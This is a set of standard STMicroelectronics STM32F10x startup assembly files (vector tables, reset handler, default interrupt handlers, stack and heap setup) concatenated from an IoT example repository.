DCD TIM1_TRG_COM_TIM11_IRQHandler ; TIM1 Trigger and Commutation and TIM11
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
DCD TIM8_BRK_TIM12_IRQHandler ; TIM8 Break and TIM12
DCD TIM8_UP_TIM13_IRQHandler ; TIM8 Update and TIM13
DCD TIM8_TRG_COM_TIM14_IRQHandler ; TIM8 Trigger and Commutation and TIM14
DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare
DCD ADC3_IRQHandler ; ADC3
DCD FSMC_IRQHandler ; FSMC
DCD SDIO_IRQHandler ; SDIO
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM9_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM10_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM11_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
EXPORT TIM8_BRK_TIM12_IRQHandler [WEAK]
EXPORT TIM8_UP_TIM13_IRQHandler [WEAK]
EXPORT TIM8_TRG_COM_TIM14_IRQHandler [WEAK]
EXPORT TIM8_CC_IRQHandler [WEAK]
EXPORT ADC3_IRQHandler [WEAK]
EXPORT FSMC_IRQHandler [WEAK]
EXPORT SDIO_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM9_IRQHandler
TIM1_UP_TIM10_IRQHandler
TIM1_TRG_COM_TIM11_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
TIM8_BRK_TIM12_IRQHandler
TIM8_UP_TIM13_IRQHandler
TIM8_TRG_COM_TIM14_IRQHandler
TIM8_CC_IRQHandler
ADC3_IRQHandler
FSMC_IRQHandler
SDIO_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 13,352 | OneNET-V3.2-OneNET-裸机-基础例程/15.M6312-TCP-三轴加速计/core/startup/arm/startup_stm32f10x_ld_vl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_ld_vl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Low Density Value Line Devices vector table
;* for MDK-ARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_IRQHandler ; ADC1
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break and TIM15
DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16
DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger and Commutation and TIM17
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD 0 ; Reserved
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SPI1_IRQHandler ; SPI1
DCD 0 ; Reserved
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD 0 ; Reserved
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD CEC_IRQHandler ; HDMI-CEC
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM6_DAC_IRQHandler ; TIM6 and DAC underrun
DCD TIM7_IRQHandler ; TIM7
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM16_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT CEC_IRQHandler [WEAK]
EXPORT TIM6_DAC_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM15_IRQHandler
TIM1_UP_TIM16_IRQHandler
TIM1_TRG_COM_TIM17_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
SPI1_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
CEC_IRQHandler
TIM6_DAC_IRQHandler
TIM7_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,346 | OneNET-V3.2-OneNET-裸机-基础例程/15.M6312-TCP-三轴加速计/core/startup/arm/startup_stm32f10x_hd_vl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_hd_vl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x High Density Value Line Devices vector table
;* for MDK-ARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM32100E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_IRQHandler ; ADC1
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break and TIM15
DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16
DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger and Commutation and TIM17
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD CEC_IRQHandler ; HDMI-CEC
DCD TIM12_IRQHandler ; TIM12
DCD TIM13_IRQHandler ; TIM13
DCD TIM14_IRQHandler ; TIM14
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_DAC_IRQHandler ; TIM6 and DAC underrun
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
DCD DMA2_Channel5_IRQHandler ; DMA2 Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM16_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT CEC_IRQHandler [WEAK]
EXPORT TIM12_IRQHandler [WEAK]
EXPORT TIM13_IRQHandler [WEAK]
EXPORT TIM14_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_DAC_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
EXPORT DMA2_Channel5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM15_IRQHandler
TIM1_UP_TIM16_IRQHandler
TIM1_TRG_COM_TIM17_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
CEC_IRQHandler
TIM12_IRQHandler
TIM13_IRQHandler
TIM14_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_DAC_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
DMA2_Channel5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
